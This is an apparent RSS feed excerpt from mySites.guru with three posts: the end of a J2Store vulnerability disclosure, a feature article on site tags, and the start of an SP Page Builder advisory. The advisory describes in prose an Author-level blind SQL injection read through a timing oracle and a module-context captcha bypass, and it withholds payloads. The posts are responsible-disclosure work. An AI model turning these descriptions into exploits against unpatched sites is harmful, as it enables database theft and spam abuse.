&lt;p&gt;You do not have to open each shop by hand. mySites.guru records the exact version of every extension on every Joomla site it monitors, so J2Store installs across your whole account list appear on one screen with their versions, and any shop below the fix version for its branch is flagged automatically. Instead of logging into each site to check whether it is updated yet, you get one filtered list of the ones that are not, and can act on them together.&lt;/p&gt;
&lt;p&gt;That matters more here than usual, because the fix version is not one number. A shop on Joomla 3 needs 3.3.23, a shop on Joomla 5 needs 4.1.8, and 4.1.8 sorts above 3.3.23 while 3.3.23 is the newer release on its own branch. Checking that by eye across a list of client sites is exactly the sort of thing people get wrong at four in the afternoon. If you want to see it against your own sites first, the &lt;a href=&quot;https://mysites.guru/free-audit/&quot;&gt;free audit&lt;/a&gt; covers it.&lt;/p&gt;

























































&lt;table&gt;&lt;thead&gt;&lt;tr&gt;&lt;th&gt;Field&lt;/th&gt;&lt;th&gt;Detail&lt;/th&gt;&lt;/tr&gt;&lt;/thead&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td&gt;Component&lt;/td&gt;&lt;td&gt;J2Store for Joomla (&lt;code&gt;com_j2store&lt;/code&gt;)&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;Vendor&lt;/td&gt;&lt;td&gt;J2Commerce (&lt;a href=&quot;https://www.j2commerce.com/&quot;&gt;j2commerce.com&lt;/a&gt;)&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;Type&lt;/td&gt;&lt;td&gt;Unauthenticated SQL injection (CWE-89); path traversal file read (CWE-22, CWE-73); business logic error (CWE-840, CWE-345); missing CSRF protection (CWE-352); insufficiently random values (CWE-330); improper output encoding (CWE-116)&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;CVE&lt;/td&gt;&lt;td&gt;&lt;a href=&quot;https://mysites.guru/vulnerabilities/CVE-2026-78081/&quot;&gt;CVE-2026-78081&lt;/a&gt;, &lt;a href=&quot;https://mysites.guru/vulnerabilities/CVE-2026-81567/&quot;&gt;CVE-2026-81567&lt;/a&gt;, &lt;a href=&quot;https://mysites.guru/vulnerabilities/CVE-2026-81568/&quot;&gt;CVE-2026-81568&lt;/a&gt;, &lt;a href=&quot;https://mysites.guru/vulnerabilities/CVE-2026-82189/&quot;&gt;CVE-2026-82189&lt;/a&gt;, &lt;a href=&quot;https://mysites.guru/vulnerabilities/CVE-2026-82190/&quot;&gt;CVE-2026-82190&lt;/a&gt;, &lt;a href=&quot;https://mysites.guru/vulnerabilities/CVE-2026-82191/&quot;&gt;CVE-2026-82191&lt;/a&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;CVSS 4.0&lt;/td&gt;&lt;td&gt;5.3 to 8.7, per the published Joomla CNA records&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;Impact&lt;/td&gt;&lt;td&gt;Anonymous full database read; arbitrary file read leaking the site secret; anonymous order-status change; missing CSRF across checkout and profile; forgeable order token; reflected parameter injection in the PayPal redirect&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;Finder&lt;/td&gt;&lt;td&gt;Phil Taylor, mySites.guru&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;Affected versions&lt;/td&gt;&lt;td&gt;3.3.22 and earlier, 4.0.22 and earlier, 4.1.7 and earlier&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;Fixed in&lt;/td&gt;&lt;td&gt;J2Store 3.3.23 (Joomla 3), 4.0.23 (Joomla 4), 4.1.8 (Joomla 5 and 6)&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;Reported&lt;/td&gt;&lt;td&gt;1 September 2026 (privately to J2Commerce)&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;Acknowledged&lt;/td&gt;&lt;td&gt;5 September 2026 (J2Commerce confirmed the findings)&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;Fixed&lt;/td&gt;&lt;td&gt;15 September 2026&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;h2&gt;Timeline&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;2026-08-25&lt;/strong&gt; Round one: five issues reported to J2Commerce The PayPal callback forgery, the reflected XSS, the anonymous cart tampering, the guest-address disclosure and the Apps delegation chain, all fixed on 31 August in 3.3.22, 4.0.22 and 4.1.7 and published as five CVEs crediting mySites.guru.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;2026-09-01&lt;/strong&gt; Round two opened after retesting the fix release Reviewing 3.3.22 turned up more: incomplete CSRF protection across the cart and checkout controllers, and shipping-price tampering. Reported to J2Commerce the same day, and confirmed by the vendor on 5 September.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;2026-09-07&lt;/strong&gt; First fix build rejected on retest The vendor&apos;s first attempt closed the cart CSRF gaps but left two unreported criticals open, an anonymous storefront SQL injection and an arbitrary file read, and shipped with the version number unchanged so no site would have been offered it. We retested it and sent it back.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;2026-09-11&lt;/strong&gt; Six CVE identifiers assigned by the Joomla CNA After the second report, the Joomla CNA assigned six identifiers covering the CSRF gaps, the storefront SQL injection, the file read, the order-status change, the order token and the PayPal redirect. A corrected build followed the same night and passed retest on 12 September.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;2026-09-15&lt;/strong&gt; 3.3.23, 4.0.23 and 4.1.8 released J2Commerce shipped all three branches together with a full advisory naming every CVE, its CVSS vector and the affected files, and crediting mySites.guru for the discovery and disclosure of all six.&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;Further Reading&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;https://mysites.guru/blog/j2store-five-security-flaws-disclosure/&quot;&gt;J2Store 3.3.22, 4.0.22 and 4.1.7 fix five flaws we reported&lt;/a&gt; - round one, the five issues fixed in the August release these six sit on top of.&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://www.j2commerce.com/blog/security-announcement-releases-3-3-23-4-0-23-and-4-1-8&quot;&gt;J2Commerce security advisory for 3.3.23, 4.0.23 and 4.1.8&lt;/a&gt; - the vendor&apos;s own write-up, with the CVSS vectors, the affected files and the per-issue mitigations.&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://mysites.guru/blog/j2store-3-end-of-life/&quot;&gt;J2Store 3 stops getting security fixes on 19 October 2026&lt;/a&gt; - why 3.3.23 is close to the last security build that branch will ever get, and what that means for the shops still on it.&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://mysites.guru/blog/a-month-of-joomla-security-disclosures/&quot;&gt;A month of Joomla security disclosures&lt;/a&gt; - the wider set of extension flaws we reported, of which the J2Store rounds are one thread.&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://mysites.guru/blog/ajax-endpoints-cms-security-blind-spot/&quot;&gt;Why AJAX endpoints are a CMS security blind spot&lt;/a&gt; - the recurring pattern behind several of these: a request reaching a query or a file path while the framework&apos;s CSRF check does not apply, with nothing on the page to say so.&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://cwe.mitre.org/data/definitions/89.html&quot;&gt;CWE-89: SQL Injection&lt;/a&gt;, &lt;a href=&quot;https://cwe.mitre.org/data/definitions/352.html&quot;&gt;CWE-352: Cross-Site Request Forgery&lt;/a&gt; and &lt;a href=&quot;https://cwe.mitre.org/data/definitions/22.html&quot;&gt;CWE-22: Path Traversal&lt;/a&gt; - the standard references for the three worst issues here.&lt;/li&gt;
&lt;/ul&gt;
</content:encoded><author>phil@mysites.guru (Phil Taylor)</author><category>security</category><category>joomla</category><category>joomla 3</category><category>j2store</category><category>sql injection</category><category>vulnerability</category><category>ecommerce</category><category>responsible disclosure</category><enclosure url="https://mysites.guru/img/og/blog/j2store-six-more-security-flaws-disclosure.png" length="0" type="image/png"/></item><item><title>Tag Your Sites by Client, Server or Retainer</title><link>https://mysites.guru/blog/organise-client-sites-with-tags/</link><guid isPermaLink="true">https://mysites.guru/blog/organise-client-sites-with-tags/</guid><description>Group Joomla and WordPress sites by client, server or retainer in mySites.guru, then update, back up or audit an entire tag in a single pass.</description><pubDate>Tue, 15 Sep 2026 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;A site list is a fine way to hold forty sites. You scroll it, you recognise the domains, and when you want a particular one you type part of its name into the search box.&lt;/p&gt;
&lt;p&gt;Somewhere past a hundred it stops being a list and becomes a haystack. The question you actually have is rarely “where is example.com”. It is “which of these belong to Meridian”, or “which of these are on the Frankfurt box being rebuilt this weekend”, or “which of these are on the retainer that includes monthly updates, and which are the ones we only touch when they break”. A list sorted by name answers none of that, so the answer gets kept somewhere else: a spreadsheet, a Notion table, or one person’s memory. All three go stale, and only one of them can hand in its notice.&lt;/p&gt;
&lt;p&gt;Tags are how mySites.guru keeps that answer next to the sites themselves, and they were rebuilt this month.&lt;/p&gt;
&lt;h2&gt;What the rebuilt Tags feature does&lt;/h2&gt;
&lt;p&gt;A tag is a name, a colour, and a list of sites. You make them on the mySites.guru tags page at &lt;code&gt;/en/tags/&lt;/code&gt;, which is headed &lt;strong&gt;Site tags&lt;/strong&gt; and has an &lt;strong&gt;Add tag&lt;/strong&gt; button in the top right. The dialog that opens asks for three things: a name, a colour from a palette of twelve, and whether the tag should appear in the left menu.&lt;/p&gt;
&lt;p&gt;That is the whole model. Everything else is what you can do with it.&lt;/p&gt;
&lt;figure&gt;&lt;div&gt;&lt;img src=&quot;https://mysites.guru/_astro/tags-page-A.BTXY3akH_7Bq43.webp&quot; alt=&quot;The mySites.guru Site tags page, showing nine tags with their colours, site counts, in-menu switches and drag grips, and the same tags repeated in the Site Group Tags section of the left menu&quot; loading=&quot;lazy&quot; width=&quot;1536&quot; height=&quot;1004&quot; /&gt;&lt;/div&gt;&lt;/figure&gt;
&lt;p&gt;Tags belong to the company, not to your login, so everyone on your team sees the same set. They show up as coloured badges on each row of the sites list, as a section headed &lt;strong&gt;Site Group Tags&lt;/strong&gt; in the left menu of every page, and as pills above the updates list. Wherever they show up, clicking one filters to it.&lt;/p&gt;
&lt;div&gt;&lt;p&gt;Where the tags page lives&lt;/p&gt;&lt;div&gt;&lt;p&gt;The left menu section is headed &lt;strong&gt;Site Group Tags&lt;/strong&gt;, and the cog icon beside that heading is the permanent route to the management page. Beside it is a second button, &lt;strong&gt;Reorder your tags&lt;/strong&gt;, which turns the menu itself into a drag list. They used to be one control, which meant the only persistent link to the tags page anywhere in the product armed drag mode instead of navigating. They are now two buttons, each doing the single thing its tooltip claims.&lt;/p&gt;&lt;/div&gt;&lt;/div&gt;
&lt;p&gt;Editing one opens this. A name, the twelve-colour palette with a live preview of the badge above it, and the switch that decides whether the tag appears in the left menu.&lt;/p&gt;
&lt;figure&gt;&lt;div&gt;&lt;img src=&quot;https://mysites.guru/_astro/tags-editor-B.DldB5nFt_218aM4.webp&quot; alt=&quot;The Edit tag dialog in mySites.guru, showing the Tag name field, a live preview badge, twelve preset colour swatches plus a custom colour picker, a Show in the left menu checkbox, and Delete, Cancel and Save tag buttons&quot; loading=&quot;lazy&quot; width=&quot;1536&quot; height=&quot;1004&quot; /&gt;&lt;/div&gt;&lt;/figure&gt;
&lt;h2&gt;Tag by the action you will take&lt;/h2&gt;
&lt;p&gt;A tag earns its place when it changes what you do next, and that one rule decides whether a scheme is still useful in a year. “Meridian” earns it, because before a Meridian call you want their five sites and nothing else. “Frankfurt” earns it, because when that machine gets rebuilt you want its sites and nothing else. “Built in 2021” does not earn it, because there is no Tuesday on which you act on the sites built in 2021.&lt;/p&gt;
&lt;p&gt;The failure mode is tagging descriptively instead of operationally: recording what a site &lt;em&gt;is&lt;/em&gt; rather than grouping by what you will &lt;em&gt;do&lt;/em&gt; to it. Descriptive tags feel productive to create and then sit there. About a third of the tags in mySites.guru have no sites on them at all, which is roughly the shape of that mistake measured across every account.&lt;/p&gt;
&lt;h2&gt;Four things worth tagging by&lt;/h2&gt;
&lt;p&gt;These four keep earning their place. Most accounts use two or three of them, and half of the accounts that use tags at all have three or fewer.&lt;/p&gt;
&lt;dl&gt;&lt;div&gt;&lt;dt&gt;Client&lt;/dt&gt;&lt;dd&gt;The commonest and the most useful. One tag per client, applied to every site they own. It scopes a report, a backup run, and the five minutes before a call when you want to know whether anything is broken on their side of the portfolio.&lt;/dd&gt;&lt;/div&gt;&lt;div&gt;&lt;dt&gt;Server or host&lt;/dt&gt;&lt;dd&gt;Group by the machine or the hosting account. When a box needs a PHP bump, a reboot or a migration, the tag tells you what else is affected. It also answers the awkward question during an outage, which is not &quot;is the site down&quot; but &quot;what else is down with it&quot;.&lt;/dd&gt;&lt;/div&gt;&lt;div&gt;&lt;dt&gt;Retainer tier&lt;/dt&gt;&lt;dd&gt;What you are actually paid to do. Monthly updates, quarterly checks, break-fix only. This is the tag that stops you doing forty pounds of unbilled work on a site whose contract does not include it, and it is the one that scopes an automatic update policy sensibly.&lt;/dd&gt;&lt;/div&gt;&lt;div&gt;&lt;dt&gt;Risk or attention&lt;/dt&gt;&lt;dd&gt;The handful you want to look at first: the legacy builds, the ones on an old branch, the ones that got hacked once and have not earned your trust back. Small by design. A tag holding a third of your sites is not a priority list.&lt;/dd&gt;&lt;/div&gt;&lt;/dl&gt;
&lt;p&gt;Platform is worth a mention and then a warning. Tagging by Joomla or WordPress feels obvious and is almost always redundant, because mySites.guru already knows which platform every connected site runs and the sites list filters on it without your help. Spend the tag on something the system cannot work out for itself.&lt;/p&gt;
&lt;h2&gt;Should a site have more than one tag?&lt;/h2&gt;
&lt;p&gt;Yes, and this is where tags beat folders.&lt;/p&gt;
&lt;p&gt;A site belongs to one client, sits on one server, and is on one retainer tier, so those three axes cross rather than compete. Tag &lt;code&gt;Meridian&lt;/code&gt;, &lt;code&gt;fra-01&lt;/code&gt; and &lt;code&gt;Monthly&lt;/code&gt; on the same site and you can ask three different questions of it without ever duplicating anything. A folder structure makes you pick which of those three is the top level, and whichever you pick is wrong for one of the three questions.&lt;/p&gt;
&lt;p&gt;mySites.guru accepts up to 50 tags on a single site in one save, which is far more than anyone sensible needs and exists so a bulk paste cannot be trimmed without you noticing. Over that limit the save is rejected and says so, rather than storing the first fifty and dropping the rest.&lt;/p&gt;
&lt;figure&gt;&lt;div&gt;★★★★★&lt;/div&gt;&lt;blockquote&gt;“tracking php versions and software via tagging. Invaluable to our business.”&lt;/blockquote&gt;&lt;figcaption&gt;&lt;img src=&quot;https://mysites.guru/images/reviews/artful-web-print-design.webp&quot; alt=&quot;Artful Web Print Design, artful.com.au&quot; width=&quot;40&quot; height=&quot;40&quot; loading=&quot;lazy&quot; /&gt;&lt;div&gt;&lt;a href=&quot;https://mysites.guru/reviews/&quot;&gt;Artful Web Print Design&lt;/a&gt;&lt;span&gt;artful.com.au · 13 July 2026&lt;/span&gt;&lt;/div&gt;&lt;/figcaption&gt;&lt;/figure&gt;
&lt;h2&gt;Putting sites on a tag without three hundred clicks&lt;/h2&gt;
&lt;p&gt;There are three ways in, and which one you want depends on whether you are thinking tag-first or site-first.&lt;/p&gt;
&lt;p&gt;From the tags page, the site count in each row is a button. Click it and a dialog opens listing every site you can see, with a filter box and &lt;strong&gt;Select all&lt;/strong&gt; and &lt;strong&gt;Clear&lt;/strong&gt; buttons. Tick what belongs, press &lt;strong&gt;Save sites&lt;/strong&gt;, and the tag’s membership is replaced with your selection in one request. The readout under the list is explicit about that: it tells you how many of how many are selected, and that saving replaces what is on the tag.&lt;/p&gt;
&lt;p&gt;From the sites list, the &lt;strong&gt;Select&lt;/strong&gt; button turns every row into a checkbox. Tick some rows, or press &lt;strong&gt;Select all shown&lt;/strong&gt;, pick a tag from the &lt;strong&gt;Choose a tag&lt;/strong&gt; dropdown, then press &lt;strong&gt;Add tag&lt;/strong&gt; or &lt;strong&gt;Remove tag&lt;/strong&gt;. This is the site-first route, and it is the one to use after you have filtered the list to something interesting, like every site on a given PHP version.&lt;/p&gt;
&lt;figure&gt;&lt;div&gt;&lt;img src=&quot;https://mysites.guru/_astro/tags-bulk-select-C.CeRTe3FF_ZDp5vd.webp&quot; alt=&quot;The mySites.guru sites list in selection mode, with four rows ticked and a bar reading Select all shown, 4 selected, a Choose a tag dropdown, and Add tag, Remove tag and Clear buttons&quot; loading=&quot;lazy&quot; width=&quot;1536&quot; height=&quot;1004&quot; /&gt;&lt;/div&gt;&lt;/figure&gt;
&lt;p&gt;From an individual site’s page, the &lt;strong&gt;Add tag&lt;/strong&gt; button in the header opens a type-ahead. Existing tag names autocomplete; a name that does not exist yet is created when you save.&lt;/p&gt;
&lt;div&gt;&lt;p&gt;Add and Remove are two buttons on purpose&lt;/p&gt;&lt;div&gt;&lt;p&gt;A single toggle would be shorter and would also be dishonest. Over a selection where some rows already hold the tag and some do not, one click would add for half of them and remove for the other half, and no button label can describe that truthfully. Two buttons, each doing one thing to every row in the selection.&lt;/p&gt;&lt;/div&gt;&lt;/div&gt;
&lt;h2&gt;Every bulk tool takes a tag&lt;/h2&gt;
&lt;p&gt;This is the part that repays the afternoon you spend tagging, and it is why a tag that only filters one screen is worth much less than one that crosses the whole product.&lt;/p&gt;
&lt;p&gt;The search token is &lt;code&gt;[tagged:Name]&lt;/code&gt;, brackets included, and it works in the filter box at the top of the sites list. You will rarely type it, because clicking a tag anywhere puts it there for you, but it is worth knowing it is a text token: it means a tag filter is something you can bookmark, share with a colleague, or keep open in a second tab during a maintenance window.&lt;/p&gt;
&lt;p&gt;From there:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Mass upgrade.&lt;/strong&gt; The en-masse upgrade screen has a &lt;strong&gt;Select sites by tag&lt;/strong&gt; dropdown with &lt;strong&gt;Select&lt;/strong&gt; and &lt;strong&gt;Deselect&lt;/strong&gt; buttons, so a rollout is scoped to one client or one server rather than to everything at once. There is a live badge telling you how many rows matched before you commit.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Remote install.&lt;/strong&gt; The same control appears in the site picker for installing an extension or plugin across many sites, so “put this plugin on everything Meridian owns” is two clicks rather than a hunt.&lt;/li&gt;
&lt;/ul&gt;
&lt;figure&gt;&lt;div&gt;&lt;img src=&quot;https://mysites.guru/_astro/tags-select-by-tag-D.BHG8ariN_ZyYJh5.webp&quot; alt=&quot;The remote install site picker in mySites.guru, with a Select sites by tag dropdown set to Meridian Group, Select and Deselect buttons, and a badge reading 1 row matches&quot; loading=&quot;lazy&quot; width=&quot;1536&quot; height=&quot;1004&quot; /&gt;&lt;/div&gt;&lt;/figure&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Backups.&lt;/strong&gt; Filter the sites list to a tag first, then use the button that backs up every site visible below. The filter is the scope.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Updates.&lt;/strong&gt; Both updates views have a row of tag pills labelled &lt;strong&gt;Tags:&lt;/strong&gt; showing your ten largest tags. Click one and the pending-updates list narrows to that group, which is the quickest way to answer “is everything of theirs up to date” before you are asked.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Audits and snapshots.&lt;/strong&gt; The same filter narrows these too, so a security sweep can be scoped to the tier that pays for security sweeps.&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;What happens to a tag you stop using?&lt;/h2&gt;
&lt;p&gt;Tag schemes decay. A client leaves, a server gets decommissioned, a tier gets renamed, and the tag stays behind looking authoritative.&lt;/p&gt;
&lt;p&gt;mySites.guru gives you two different answers rather than one. Each row on the tags page has a &lt;strong&gt;Show in the left menu&lt;/strong&gt; switch. Turning it off keeps the tag, its colour and its entire membership, and only takes it out of the sidebar. That is the right move for anything historical: the client you might hear from again, the “hacked in 2024” group you want to be able to reconstitute. The information is still there and the menu stays short.&lt;/p&gt;
&lt;p&gt;Deleting is the other answer, and it removes the tag and its membership records only. No site is touched, disconnected or changed; the badge simply stops appearing. Delete asks twice before it does it.&lt;/p&gt;
&lt;p&gt;The reason both exist is that hiding and deleting get confused constantly, and the confused version is always the destructive one.&lt;/p&gt;
&lt;h2&gt;What changed in the rebuild&lt;/h2&gt;
&lt;p&gt;The previous version of this feature worked, and the way you used it was to drag a site row, by the three dots beside it, onto a tag. That was fine for twelve sites. On a list of several hundred it required you to first filter the list down so that both the site and the tag were on screen at once, which the old documentation cheerfully told you to do.&lt;/p&gt;
&lt;p&gt;The rebuild replaced it. Worth knowing if you used the old one:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Reordering exists.&lt;/strong&gt; Tags used to render alphabetically everywhere, which meant naming a tag &lt;code&gt;1. Priority&lt;/code&gt; was the only way to get it to the top. Now you drag them into the order you want, on the tags page or in the left menu itself, with the arrow keys as an alternative. Each save gets an &lt;strong&gt;Undo&lt;/strong&gt; for nine seconds.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;The menu drag only moves what you can see.&lt;/strong&gt; The left menu holds only the tags you chose to show there, so a drag in the menu permutes those positions and leaves the hidden ones where they were. The alternative would move tags you cannot see, with nothing on screen to tell you it happened.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Colours are chosen, not random.&lt;/strong&gt; New tags used to get a random hex value, which produced the occasional unreadable badge and the occasional two tags in near-identical shades. There are now twelve presets, each one tested to stay legible against its own text in both light and dark mode, plus a colour picker if you want something specific. A tag saved without a colour gets one derived from its name, so the same name always produces the same colour.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Membership saves once, not once per site.&lt;/strong&gt; The old assign screen issued one request per site. This matters more than it sounds, and it is the most interesting bug in the rebuild.&lt;/li&gt;
&lt;/ul&gt;
&lt;div&gt;&lt;p&gt;The bug worth knowing about if you write PHP&lt;/p&gt;&lt;div&gt;&lt;p&gt;The new dialog originally posted one form field per selected site. PHP’s &lt;code&gt;max_input_vars&lt;/code&gt; defaults to 1,000, and it does not error when a request exceeds it: it drops the surplus with no error and gives your script a truncated array. Because a membership save replaces the list, a select-all on a very large tag arrived incomplete and took the tail of that tag off, then reported success. The fix was to send the selection as a single field. The same code now also treats a missing field as a failure rather than as an empty selection, because “the body did not arrive intact” and “the user unticked everything” must never look the same to code whose next act is a delete.&lt;/p&gt;&lt;/div&gt;&lt;/div&gt;
&lt;p&gt;A restricted team member’s save is now bounded by what that member can see, in both directions. If someone has access to three of your sites, saving membership from their account can add or remove those three and cannot touch anything else on the tag.&lt;/p&gt;
&lt;h2&gt;Tags in the API and in Claude&lt;/h2&gt;
&lt;p&gt;Tags are readable programmatically, which turns them into a vocabulary rather than a UI feature.&lt;/p&gt;
&lt;p&gt;&lt;code&gt;GET /api/v1/tags&lt;/code&gt; returns every tag with its slug, name and colour to any token holding the &lt;code&gt;api:tags:read&lt;/code&gt; scope, ordered the same way your left menu is. The &lt;a href=&quot;https://mysites.guru/blog/mysites-guru-api/&quot;&gt;mySites.guru API&lt;/a&gt; covers how to get a token.&lt;/p&gt;
&lt;p&gt;The same list is available to AI assistants over MCP through a read-only tool called &lt;code&gt;list_tags&lt;/code&gt;, behind the &lt;code&gt;mcp:tags:read&lt;/code&gt; scope. That is the piece that makes &lt;a href=&quot;https://mysites.guru/blog/manage-every-site-from-claude-desktop/&quot;&gt;“queue a backup for every Joomla site tagged client-retainer”&lt;/a&gt; a sentence you can say rather than a filter you have to build. The assistant reads your tag names, so you talk about groups of sites using the words you already use internally.&lt;/p&gt;
&lt;h2&gt;Where to start&lt;/h2&gt;
&lt;p&gt;If you have never tagged anything, do not tag everything. Make one tag for your largest client, put their sites on it, and use it for a week. If it changes what you click, make the next one.&lt;/p&gt;
&lt;p&gt;Tags are part of every mySites.guru subscription, on every plan, for &lt;a href=&quot;https://mysites.guru/blog/add-unlimited-joomla-and-wordpress-sites-to-mysites-guru/&quot;&gt;unlimited sites&lt;/a&gt;. If you are not a subscriber yet, there is a &lt;a href=&quot;https://mysites.guru/blog/how-to-get-mysites-guru-for-free-for-a-whole-month/&quot;&gt;free month&lt;/a&gt; to try it on your own portfolio.&lt;/p&gt;</content:encoded><author>phil@mysites.guru (Phil Taylor)</author><category>joomla</category><category>wordpress</category><category>site management</category><category>agency tools</category><category>bulk actions</category><category>workflow</category><enclosure url="https://mysites.guru/img/og/blog/organise-client-sites-with-tags.png" length="0" type="image/png"/></item><item><title>SQL Injection and a Captcha Bypass in the SP Page Builder Joomla Extension, found by mySites.guru</title><link>https://mysites.guru/blog/sp-page-builder-sql-injection-captcha-bypass-disclosure/</link><guid isPermaLink="true">https://mysites.guru/blog/sp-page-builder-sql-injection-captcha-bypass-disclosure/</guid><description>mySites.guru found an Author-level SQL injection and an unauthenticated captcha bypass in the SP Page Builder Joomla extension, both fixed in 6.9.1.</description><pubDate>Mon, 14 Sep 2026 13:00:00 GMT</pubDate><content:encoded>&lt;p&gt;&lt;a href=&quot;https://www.joomshaper.com/page-builder&quot;&gt;SP Page Builder&lt;/a&gt; is JoomShaper’s drag-and-drop page builder for Joomla, one of the most widely installed page builders in the ecosystem. We have reported issues in it before: the &lt;a href=&quot;https://mysites.guru/blog/sp-page-builder-zero-day-uploadcustomicon-rce/&quot;&gt;June 2026 unauthenticated icon-upload zero-day&lt;/a&gt; fixed in 6.6.2, &lt;a href=&quot;https://mysites.guru/blog/sp-page-builder-sql-injection-mail-relay-disclosure/&quot;&gt;four flaws including a pre-auth SQL injection and an open mail relay&lt;/a&gt; fixed in 6.7.1, and a &lt;a href=&quot;https://mysites.guru/blog/sp-page-builder-pre-auth-rce-file-inclusion-disclosure/&quot;&gt;pre-authentication remote code execution&lt;/a&gt; fixed in 6.8.0. This round is the fourth, and it found five more, reported to JoomShaper on the day 6.9.0 shipped and all fixed in SP Page Builder &lt;strong&gt;6.9.1&lt;/strong&gt;.&lt;/p&gt;
&lt;p&gt;The two that matter most to you are a &lt;strong&gt;blind SQL injection an ordinary Author can use to read your entire database&lt;/strong&gt;, and an &lt;strong&gt;unauthenticated captcha bypass&lt;/strong&gt; that turns your forms back into open spam and relay targets. If you run SP Page Builder on any Joomla site, update to 6.9.1 now. Sites still on Joomla 3 cannot install it and need the separate patch described &lt;a href=&quot;#joomla-3-sites-need-a-different-package&quot;&gt;further down&lt;/a&gt;. If you manage more than a handful of sites, read on for how to find every affected one at once.&lt;/p&gt;
&lt;h2&gt;TL;DR&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;mySites.guru found five security issues in SP Page Builder 6.9.0 and reported them privately to JoomShaper the same day the version shipped&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Author-level blind SQL injection (High).&lt;/strong&gt; The com_content integration plugin reads one value out of the article-save request without an integer cast, one line below a cast that is present, and concatenates it into a query. Any account that can save an article, an Author by default, can read the whole database one character at a time, the Super User password hash included&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Unauthenticated captcha bypass (Medium, understated).&lt;/strong&gt; The form addons throw away the real captcha result whenever the request claims the form is being rendered inside a module, so an anonymous visitor defeats reCAPTCHA on the contact form, the opt-in form and the form builder alike. Those three addons ship only in SP Page Builder Pro, so this one does not reach the free Lite edition&lt;/li&gt;
&lt;li&gt;Three more: an &lt;strong&gt;Editor-level file rename&lt;/strong&gt; that could reach outside the web root, an &lt;strong&gt;Editor-level Joomla menu takeover&lt;/strong&gt;, and an &lt;strong&gt;Author-level file write&lt;/strong&gt; into the web root&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Update to SP Page Builder 6.9.1 immediately&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;Reported privately on 8 September 2026, all five fixed in &lt;strong&gt;6.9.1&lt;/strong&gt;. We re-tested the released package to confirm the fixes hold&lt;/li&gt;
&lt;li&gt;mySites.guru already flags every connected Joomla site still running a vulnerable version&lt;/li&gt;
&lt;/ul&gt;
&lt;div&gt;&lt;p&gt;We fix first and publish second&lt;/p&gt;&lt;div&gt;&lt;p&gt;mySites.guru discovered these issues and reported them to JoomShaper before publishing any detail. We are holding back the exact requests and the proof-of-concept payloads until enough sites have updated. This is how we handle every vulnerability we find.&lt;/p&gt;&lt;/div&gt;&lt;/div&gt;
&lt;h2&gt;The worst one: an Author reads your whole database&lt;/h2&gt;
&lt;p&gt;SP Page Builder integrates with Joomla articles through a content plugin. When an article is saved, that plugin reads a value from the submitted form and uses it to look up the matching page-builder layout. The value on the line above is cast to an integer. This one is not. It is concatenated straight into the &lt;code&gt;WHERE&lt;/code&gt; clause of a database query, so an attacker who can trigger an article save controls part of the SQL. On a default Joomla site the account type that can save an article through the ordinary front-end submission form is an &lt;strong&gt;Author&lt;/strong&gt;, the lowest-trust authenticated role there is, and on any site that allows self-registration an attacker can create that account for themselves.&lt;/p&gt;
&lt;p&gt;We proved it on a test site. The injection is blind, so nothing is echoed back, but the query can be made to pause for a chosen number of seconds when a guess is right, and stay instant when it is wrong. Using that as a timing oracle we read the Super User’s stored password hash out one character at a time. That is full read access to the entire database, from an account that can do nothing more than submit an article.&lt;/p&gt;
